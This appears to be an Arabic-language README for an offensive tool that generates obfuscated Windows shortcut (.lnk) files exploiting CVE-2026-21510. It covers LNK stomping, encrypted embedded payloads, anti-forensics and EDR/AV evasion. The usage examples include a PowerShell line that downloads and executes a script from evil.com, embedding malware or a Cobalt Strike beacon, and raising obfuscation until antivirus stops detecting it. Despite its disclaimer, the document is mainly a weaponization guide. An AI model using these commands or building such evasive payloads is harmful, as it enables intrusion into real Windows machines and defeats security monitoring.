
يولّد ملفات `.lnk` مُشوّشة تستغل CVE-2026-21510 مع تقنية LNK stomping، وحمولات مُشفّرة، وإجراءات مضادة للتحقيق الجنائي الرقمي، وذلك لاختبار الاختراق المصرّح به وعمليات الفريق الأحمر.
README EpSiLoNPoInTlnk CVE-2026-21510 - مولّد ملفات .LNK أداة لتوليد ملفات .lnk تستغل ثغرة CVE-2026-21510 (تنفيذ التعليمات البرمجية عن بُعد في Windows ShellLink). مصممة لأبحاث الأمن الهجومي، واختبارات الاختراق المصرح بها، وتحليل الثغرات الأمنية.
تحذير قانوني ⚠️ هذه الأداة مخصصة حصريًا للاستخدام القانوني والمصرح به. أي استخدام غير مصرح به ضد أنظمة أو شبكات من شأنه انتهاك القوانين المحلية والدولية (مثل: قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، اللائحة العامة لحماية البيانات (RGPD)، قانون Godfrain في فرنسا). يخلي المؤلف مسؤوليته عن أي سوء استخدام. (انظر بند إخلاء المسؤولية أدناه.)
الوصف يقوم هذا المولّد بإنشاء ملفات .lnk مشوّشة لاستغلال CVE-2026-21510، وهي ثغرة في معالجة اختصارات Windows. يتضمن:
LNK Stomping (5 متغيرات: dot، path_segment، relative، double_extension، unicode)
PropertyStore مع CLSID عشوائية وPKEY
KnownFolderDataBlock (KnownFolderID عشوائية أو مستهدفة)
EnvironmentVariableDataBlock (تشويش Unicode، متغيرات ديناميكية)
التشويش (المستويات 1-5: TrackerDataBlock، ConsoleDataBlock، كتل عشوائية)
الحمولات المدمجة والمشفرة (AES-256-CBC + XOR)
مكافحة التحقيق الجنائي (طوابع زمنية عند 0، حجم ملف عند 0، بيانات وصفية ضئيلة)
تجاوز EDR/AV (عمليات شرعية، وسائط مشوّشة في PowerShell)
توليد متغيرات عشوائية (أكثر من 10 متغيرات فريدة لتجنب التوقيعات)
المتطلبات الأساسية النظام نظام التشغيل: Windows (لاختبار ملفات .lnk المولّدة) أو Linux/macOS (للتوليد).
Python: ≥ 3.10. التبعيات: pip install pycryptodome
الأدوات الموصى بها التحليل: PEStudio، Detect It Easy (DIE)
التصحيح: x64dbg، WinDbg
الاختبارات: آلة افتراضية Windows (مثل: Windows 10/11 على VirtualBox) معزولة.
التثبيت استنساخ المستودع: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk تثبيت التبعيات: pip install -r requirements.txt (اختياري) إنشاء بيئة افتراضية: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
الاستخدام
التوليد الأساسي python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk ينشئ ملف .lnk يستخدم CVE-2026-21510 لتشغيل calc.exe.
الخيارات المتقدمة الخيار الوصف القيمة الافتراضية --target المسار الهدف (مثل: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args الوسائط للهدف (مثل: /c whoami) /c calc.exe --output مسار إخراج ملف .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir دليل العمل C:\Windows\System32 --description وصف الاختصار سلسلة عشوائية --unc استخدام مسار UNC (?\C:...) False --lnk-stomping تفعيل LNK Stomping True --stomping-variant متغير LNK Stomping (dot، path_segment، relative، double_extension، unicode، random) random --obfuscation إضافة كتل ExtraData غير ضرورية True --obfuscation-level مستوى التشويش (1-5) 5 --embed-payload مسار ملف لدمجه (مثل: payload.bin) None --encrypt-payload تشفير الحمولة (AES-256-CBC + XOR) True --anti-forensics تطبيق تقنيات مكافحة التحقيق الجنائي True --randomize-clsid عشوائية CLSID في PropertyStore True --randomize-known-folder عشوائية KnownFolderID True --obfuscate-arguments تشويش الوسائط (PowerShell) True --generate-variants توليد N متغيرات عشوائية 0 --debug وضع التصحيح المتقدم (سجلات مفصلة) False
أمثلة
مثال 1: استغلال مع حمولة مدمجة
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
ينشئ ملف .lnk مع حمولة مشفرة (AES-256 + XOR) ومشوّشة.
مثال 2: توليد 10 متغيرات عشوائية
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
ينشئ 10 متغيرات فريدة لتجنب توقيعات EDR/AV.
مثال 3: الوضع البسيط (للاختبارات)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
ينشئ ملف .lnk غير مشوّش (للتحليل أو التصحيح).
آلية العمل التقنية
رأس ShellLink (0x4C بايت ثابتة + إزاحات): LinkCLSID: 00021401-0000-0000-C000-000000000046 (إلزامي). LinkFlags: مُهيأ لتفعيل HasRelativePath، HasWorkingDir، IsUnicode، إلخ.
StringData: RelativePath: المسار الهدف (مع LNK Stomping إذا كان مفعلاً). WorkingDir: دليل العمل (مثل: C:\Windows\System32). Arguments: الوسائط المشوّشة (PowerShell، cmd، إلخ).
كتل ExtraData (بترتيب حاسم): PropertyStoreDataBlock: يحتوي على PKEY_AppUserModel_ID (CLSID عشوائية). KnownFolderDataBlock: يشير إلى مجلد نظام (مثل: %SystemRoot%). EnvironmentVariableDataBlock: يفرض توسيع المتغيرات قبل Mark-of-the-Web (MotW). كتل التشويش (حسب obfuscation_level): TrackerDataBlock (المستوى 1) ConsoleDataBlock (المستوى 2) DarwinDataBlock، ShimDataBlock، إلخ (المستويات 3-5)
الحمولة المدمجة (إذا تم --embed-payload): مشفرة بـ AES-256-CBC + XOR.
يتم تشفير الحمولة بـ AES-256-CBC (مفتاح عشوائي 32 بايت، IV 16 بايت).
يتم تطبيق طبقة XOR باستخدام أول 16 بايت من مفتاح AES.
يتم تخزين المفتاح وIV في ShimDataBlock لفك التشفير لاحقًا.
الاختبارات والتحقق
الحد الأدنى لحجم الملف.
صحة HeaderSize وCLSID.
وجود LinkFlags المطلوبة.
بنية كتل ExtraData (PropertyStore، KnownFolder، إلخ).
التنفيذ (في بيئة معزولة): النقر المزدوج على ملف .lnk ومراقبة السلوك. استخدام Process Monitor (ProcMon) لتحليل استدعاءات النظام.
كشف EDR/AV: الاختبار باستخدام أدوات مثل Windows Defender أو CrowdStrike. إذا تم اكتشاف ملف .lnk، قم بزيادة obfuscation_level أو تعطيل بعض الخيارات.
حالات الاستخدام السيناريو الأمر الوصف اختبار الاختراق --target "C:\Windows\System32\cmd.exe" --args "/c whoami" التحقق من عمل الاستغلال على جهاز مستهدف. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 توليد ملف .lnk مع حمولة Cobalt Strike مشوّشة. البحث --generate-variants 50 --output-dir ./samples إنشاء 50 متغيرًا لاختبار كشوفات EDR. التصحيح --debug --obfuscation False عرض سجلات مفصلة لتحليل بنية ملف .lnk. المساهمات المساهمات مرحب بها! إليك كيفية المساهمة:
قم بعمل Fork للمشروع.
أنشئ فرعًا (git checkout -b feature/ميزتي-الجديدة).
قم بعمل Commit لتغييراتك (git commit -m "إضافة الميزة X").
ادفع إلى الفرع (git push origin feature/ميزتي-الجديدة).
افتح Pull Request. أفكار للمساهمات:
إضافة متغيرات جديدة لـ LNK Stomping.
تنفيذ خوارزميات تشفير أخرى (مثل: ChaCha20).
تحسين تشويش الوسائط (مثل: استخدام JScript).
إضافة اختبارات وحدة للتحقق من بنيات ملفات .lnk.
الترخيص هذا المشروع مرخص بموجب رخصة MIT. انظر ملف LICENSE لمزيد من التفاصيل.
بند إخلاء المسؤولية 🚨 بند إخلاء المسؤولية
📜 بند إخلاء المسؤولية (DISCLAIMER)
اقرأ بعناية قبل أي استخدام لهذه الأداة.
⚠️ تحذير قانوني صريح
مستخدم هذه الأداة (يُشار إليه فيما يلي باسم "المستخدم") يقر ويوافق صراحةً على الشروط التالية:
الاستخدام القانوني فقط
هذه الأداة مخصصة حصريًا للاستخدام القانوني والمصرح به، مثل:
البحث في أمن المعلومات في إطار أكاديمي أو مهني.
اختبارات الاختراق (pentest) على أنظمة يملك المستخدم إذنًا كتابيًا من مالكها.
تحليل الثغرات الأمنية في بيئات خاضعة للتحكم (مثل: مختبرات الأمن، CTF، برامج مكافآت الثغرات المصرح بها).